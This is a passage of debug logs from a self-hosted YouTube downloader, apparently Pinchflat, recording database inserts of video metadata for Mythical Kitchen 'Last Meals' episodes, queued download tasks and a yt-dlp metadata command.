max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-12-12 11:00:51Z], 1] 20:48:30.658 [debug] QUERY OK source="media_items" db=0.7ms idle=538.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Jimmy O. Yang eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Jimmy's Last Meal\n0:20 Rap Beginnings\n2:11 How Often Do You Think About Death?\n3:10 1st Course\n6:19 Interior Chinatown\n7:35 Asian Accents Are Sexy\n10:08 Freedom & The El Pollo Loco Salsa Bar\n11:40 Learning Kung Fu\n12:33 2nd Course\n16:12 The Art & Existential Terror Of Making Rice\n16:57 My Pet Chicken Gary\n19:33 Nepo-Daddy Relationship\n21:40 Choosing Yourself\n22:57 3rd Course\n24:30 Comedy Is Like Cooking\n25:09 Having Nothing To Lose & Building Community\n27:40 Playing A Hero\n29:13 Family Ties\n32:02 4th Course\n32:49 Responsible Representation\n37:13 Legacy\n39:05 Infinity Is Scary\n40:29 What Do You Think Happens When You Die?\n41:15 Lightning Round\n44:25 Jimmy's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref=ppx_yo_dt_b_search_asin_title?ie=UTF8&psc=1\n* Instant Read Thermometer - https://www.amazon.com/dp/B01F59K0IW/ref=twister_B00NMQGAPS?_encoding=UTF8&psc=1\n* Immersion Blender - https://www.amazon.com/gp/product/B01J1AWUR0/ref=ox_sc_act_title_1?smid=ATVPDKIKX0DER&psc=1\n* Dehydrator - https://www.amazon.com/gp/product/B01M6AZ863/ref=ox_sc_act_title_1?smid=A2L77EE7U53NWQ&psc=1\n* Vitamix Blender - https://www.amazon.com/gp/product/B0758JHZM3/ref=ox_sc_act_title_2?smid=ATVPDKIKX0DER&psc=1\n* Food Processor - https://www.amazon.com/Cuisinart-DFP-14BCNY-Processor-Brushed-Stainless/dp/B01AXM4WV2?ref_=ast_sto_dp&th=1&psc=1\n* Kitchen Aid Stand Mixer - https://www.amazon.com/dp/B07QBDMCKH/ref=twister_B07XKC8VN4?_encoding=UTF8&psc=1\n* Kitchen AidPasta Attachment - https://www.amazon.com/KitchenAid-KSMPEXTA-Gourmet-Attachment-Interchangeable/dp/B01ENK4UV2?ref_=ast_sto_dp\n* Spice Grinder - https://www.amazon.com/KRUPS-Electric-Coffee-Grinder-Stainless/dp/B00004SPEU?ref_=ast_bbp_dp&th=1&psc=1", "Jimmy O. Yang Eats His Last Meal", "38e973aa-8e56-428b-bea9-658861a2c84f", "https://www.youtube.com/watch?v=bc6aG09SqwU", false, "bc6aG09SqwU", 2760, false, 61, "/downloads/Last Meals/2024-12-12 Jimmy O. Yang Eats His Last Meal/Jimmy O. Yang Eats His Last Meal [bc6aG09SqwU].mp4", false, false, 1, [], 0, ~U[2024-12-12 11:00:51Z], ~U[2026-03-28 00:48:30Z], ~U[2026-03-28 00:48:30Z], "Today, Jimmy O. Yang eats his last meal. \n\nSubscribe to Mythical Kitchen: https://www.youtube.com/mythicalkitchen?sub_confirmation=1\n\n0:00 Jimmy's Last Meal\n0:20 Rap Beginnings\n2:11 How Often Do You Think About Death?\n3:10 1st Course\n6:19 Interior Chinatown\n7:35 Asian Accents Are Sexy\n10:08 Freedom & The El Pollo Loco Salsa Bar\n11:40 Learning Kung Fu\n12:33 2nd Course\n16:12 The Art & Existential Terror Of Making Rice\n16:57 My Pet Chicken Gary\n19:33 Nepo-Daddy Relationship\n21:40 Choosing Yourself\n22:57 3rd Course\n24:30 Comedy Is Like Cooking\n25:09 Having Nothing To Lose & Building Community\n27:40 Playing A Hero\n29:13 Family Ties\n32:02 4th Course\n32:49 Responsible Representation\n37:13 Legacy\n39:05 Infinity Is Scary\n40:29 What Do You Think Happens When You Die?\n41:15 Lightning Round\n44:25 Jimmy's Last Words\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nClick the bell icon so you'll know when we add a new video!\n\nWant more Mythical Kitchen? Check out these playlists:\nFancy Fast Food - https://www.youtube.com/playlist?list=PLW8XZTagL0oJhk71Ip3rIzHOFY3Edw2pw\nSnack Smash - https://www.youtube.com/playlist?list=PLW8XZTagL0oKYv5beEZpH5hP8aA5ahGKQ\nFood Fears - https://www.youtube.com/playlist?list=PLW8XZTagL0oK6vh1N6DOYcdWzGyuAxjtN\nFood Feats - https://www.youtube.com/playlist?list=PLW8XZTagL0oJI4IG7pZ-y792AHI4vIbWD\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen\n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nJoin the Mythical Society: https://www.mythicalsociety.com\n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nFollow Mythical: \nInstagram: https://instagram.com/mythical\nFacebook: https://facebook.com/mythical\nTwitter: https://twitter.com/mythical\nWebsite: https://mythical.com\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nWant to send us something? https://mythical.com/contact\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition ( https://hofoco.org ) who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev\n\nGet Mythical Kitchen gadgets and equipment!\n(As an Amazon Associate, we earn from qualifying purchases from paid links below)\n* Pots and Pans - https://www.amazon.com/gp/product/B01B49H5CG/ref= (truncated) 20:48:30.658 [debug] QUERY OK source="sources" db=0.0ms idle=539.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:30.658 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:30.658 [debug] QUERY OK source="media_items" db=0.0ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [61] 20:48:30.658 [info] Kicking off download for media item #61 (bc6aG09SqwU) 20:48:30.659 [debug] QUERY OK source="tasks" db=0.0ms idle=0.8ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [66, 61, ~U[2026-03-28 00:48:30Z], ~U[2026-03-28 00:48:30Z]] 20:48:30.659 [debug] Current batch of media processed. Will check again in 1000ms 20:48:31.119 [debug] Current batch of media processed. Will check again in 1000ms 20:48:31.660 [debug] Current batch of media processed. Will check again in 1000ms 20:48:32.120 [debug] Current batch of media processed. Will check again in 1000ms 20:48:32.661 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Today, Finn Wolfhard eats his last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Finn's Last Meal\n0:20 Weezer & The Mythical Cookbook\n1:40 Have You Thought About Your Last Meal Before?\n3:51 1st Course\n5:40 A 20-Year-Old Director\n10:58 2nd Course\n13:22 Theater Kids vs. Film Kids\n14:40 Gaten Is An Old Character Actor\n15:30 Saying Goodbye To Stranger Things\n16:46 Josh Predicts The ST Finale\n17:37 3rd Course\n21:04 Forest Bathing & Romanian Tacos\n22:27 Asking Jesse Eisenberg For Anxiety Advice\n24:14 Dissonant Feelings In Acting\n25:56 Rebooting Idle Hands\n26:59 4th Course\n30:07 The Child Actor Experience\n31:12 FaceTiming Gaten\n32:44 Lightning Round\n34:21 Finn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "duration" => 2119, "filename" => "/downloads/Last Meals/2025-04-24 Stranger Things' Finn Wolfhard Eats His Last Meal/Stranger Things' Finn Wolfhard Eats His Last Meal [UxiZUsNMQaA].mp4", "id" => "UxiZUsNMQaA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=UxiZUsNMQaA", "playlist_index" => 62, "timestamp" => 1745488853, "title" => "Stranger Things' Finn Wolfhard Eats His Last Meal", "upload_date" => "20250424"} 20:48:32.661 [debug] QUERY OK source="sources" db=0.1ms idle=604.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 20:48:32.662 [debug] QUERY OK source="sources" db=0.0ms idle=604.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:32.662 [debug] QUERY OK source="media_items" db=0.2ms idle=604.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-04-24 10:00:53Z], 1] 20:48:32.663 [debug] QUERY OK source="media_items" db=0.7ms idle=604.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","original_url","prevent_download","media_id","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "original_url" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today, Finn Wolfhard eats his last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Finn's Last Meal\n0:20 Weezer & The Mythical Cookbook\n1:40 Have You Thought About Your Last Meal Before?\n3:51 1st Course\n5:40 A 20-Year-Old Director\n10:58 2nd Course\n13:22 Theater Kids vs. Film Kids\n14:40 Gaten Is An Old Character Actor\n15:30 Saying Goodbye To Stranger Things\n16:46 Josh Predicts The ST Finale\n17:37 3rd Course\n21:04 Forest Bathing & Romanian Tacos\n22:27 Asking Jesse Eisenberg For Anxiety Advice\n24:14 Dissonant Feelings In Acting\n25:56 Rebooting Idle Hands\n26:59 4th Course\n30:07 The Child Actor Experience\n31:12 FaceTiming Gaten\n32:44 Lightning Round\n34:21 Finn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stranger Things' Finn Wolfhard Eats His Last Meal", "87fae43c-0fd7-441a-a826-fca82f8eea4d", "https://www.youtube.com/watch?v=UxiZUsNMQaA", false, "UxiZUsNMQaA", 2119, false, 62, "/downloads/Last Meals/2025-04-24 Stranger Things' Finn Wolfhard Eats His Last Meal/Stranger Things' Finn Wolfhard Eats His Last Meal [UxiZUsNMQaA].mp4", false, false, 1, [], 0, ~U[2025-04-24 10:00:53Z], ~U[2026-03-28 00:48:32Z], ~U[2026-03-28 00:48:32Z], "Today, Finn Wolfhard eats his last meal. \n\nWant more Mythical Kitchen? Check out these playlists:\nLast Meals - https://www.youtube.com/playlist?list=PLW8XZTagL0oLPu4rowq_WOqg6nJ_oToRN\nFood Battles - https://www.youtube.com/playlist?list=PLW8XZTagL0oKvNweUd0NzXBTUgmVDXbTe\nMeals of History - https://www.youtube.com/playlist?list=PLW8XZTagL0oJzDtzkhoE_KeH_macdrpHJ\n\nCheck out our podcast, A Hot Dog Is A Sandwich!\nApple Podcasts: https://mythic.al/ahdias\nSpotify: https://mythic.al/hotdog\n\nCHAPTERS\n0:00 Finn's Last Meal\n0:20 Weezer & The Mythical Cookbook\n1:40 Have You Thought About Your Last Meal Before?\n3:51 1st Course\n5:40 A 20-Year-Old Director\n10:58 2nd Course\n13:22 Theater Kids vs. Film Kids\n14:40 Gaten Is An Old Character Actor\n15:30 Saying Goodbye To Stranger Things\n16:46 Josh Predicts The ST Finale\n17:37 3rd Course\n21:04 Forest Bathing & Romanian Tacos\n22:27 Asking Jesse Eisenberg For Anxiety Advice\n24:14 Dissonant Feelings In Acting\n25:56 Rebooting Idle Hands\n26:59 4th Course\n30:07 The Child Actor Experience\n31:12 FaceTiming Gaten\n32:44 Lightning Round\n34:21 Finn's Last Words\n\nPick up official Mythical Kitchen merch at https://mythical.com/collections/mythical-kitchen \n\nCheck out Sporked, Mythical's new website dedicated to helping you find the best food on the shelves! - http://www.sporked.com\n\nSubmit your Dreams Become Food photos here: https://forms.gle/cBopySaTXdzG7RFr5\n\nJoin the Mythical Society: https://www.mythicalsociety.com \n\nFollow Mythical Kitchen:\nInstagram: https://instagram.com/mythicalkitchen\nFacebook: https://facebook.com/mythicalkitchen\nMythical Chef Josh's Instagram: https://instagram.com/mythicalchefjosh\n\nCheck Out Our Other Mythical Channels:\nGood Mythical Morning: https://youtube.com/goodmythicalmorning\nRhett & Link: https://youtube.com/rhettandlink\nEar Biscuits: https://applepodcasts.com/earbiscuits\nGood Mythical MORE: https://youtube.com/goodmythicalmore\n\nIn the spirit of minimizing food waste associated with the filming of this series, Mythical is donating to the Hollywood Food Coalition who provide daily, nourishing meals to underserved communities in the Los Angeles area.\n\nClosed Captioning provided by Rev", "Stranger Things' Finn Wolfhard Eats His Last Meal", "https://www.youtube.com/watch?v=UxiZUsNMQaA", "UxiZUsNMQaA", 2119, false, "/downloads/Last Meals/2025-04-24 Stranger Things' Finn Wolfhard Eats His Last Meal/Stranger Things' Finn Wolfhard Eats His Last Meal [UxiZUsNMQaA].mp4", false, 1, ~U[2025-04-24 10:00:53Z]] 20:48:32.663 [debug] QUERY OK source="sources" db=0.0ms idle=549.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:48:32.663 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 20:48:32.663 [debug] QUERY OK source="media_items" db=0.1ms idle=1.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [62] 20:48:32.663 [info] Kicking off download for media item #62 (UxiZUsNMQaA) 20:48:32.664 [debug] QUERY OK source="tasks" db=0.0ms idle=1.0ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [67, 62, ~U[2026-03-28 00:48:32Z], ~U[2026-03-28 00:48:32Z]] 20:48:32.664 [debug] Current batch of media processed. Will check again in 1000ms 20:48:32.748 [info] GET /sources/2/edit 20:48:32.748 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "2"} Pipelines: [:browser] 20:48:32.748 [debug] QUERY OK source="sources" db=0.1ms idle=84.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 20:48:32.748 [debug] QUERY OK source="media_profiles" db=0.1ms idle=84.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 20:48:32.748 [debug] QUERY OK source="settings" db=0.0ms idle=84.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:32.748 [debug] QUERY OK source="settings" db=0.0ms idle=84.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:32.749 [debug] QUERY OK source="settings" db=0.0ms idle=84.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:32.750 [info] Sent 200 in 2ms 20:48:32.757 [info] CONNECTED TO Phoenix.LiveView.Socket in 16µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "CiQaDQwSKS84REMZCwM3Kn92RAVFEh8XaCHnbwPChwsnSOXiM5s4rEiz", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "http://192.168.77.149:8945/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "http://192.168.77.149:8945/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 20:48:32.947 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/playlist?list=PLHovnlOusNLgvAbnxluXCVB3KLj8e4QB- --simulate --skip-download --ignore-no-formats-error --playlist-end 1 --output /downloads/TADC/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file %(.{channel,channel_id,playlist_id,playlist_title,filename})j /tmp/pinchflat/data/cf/99/cf9952b6e72d12e1a3da5bfa73c7135d3e93193fd962a1bc983f85ca2f9fc54a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 20:48:32.947 [debug] Running yt-dlp command for action: get_source_metadata 20:48:32.948 [debug] QUERY OK source="settings" db=0.1ms idle=199.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 20:48:32.948 [debug] QUERY OK source="settings" db=0.0ms idle=199.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 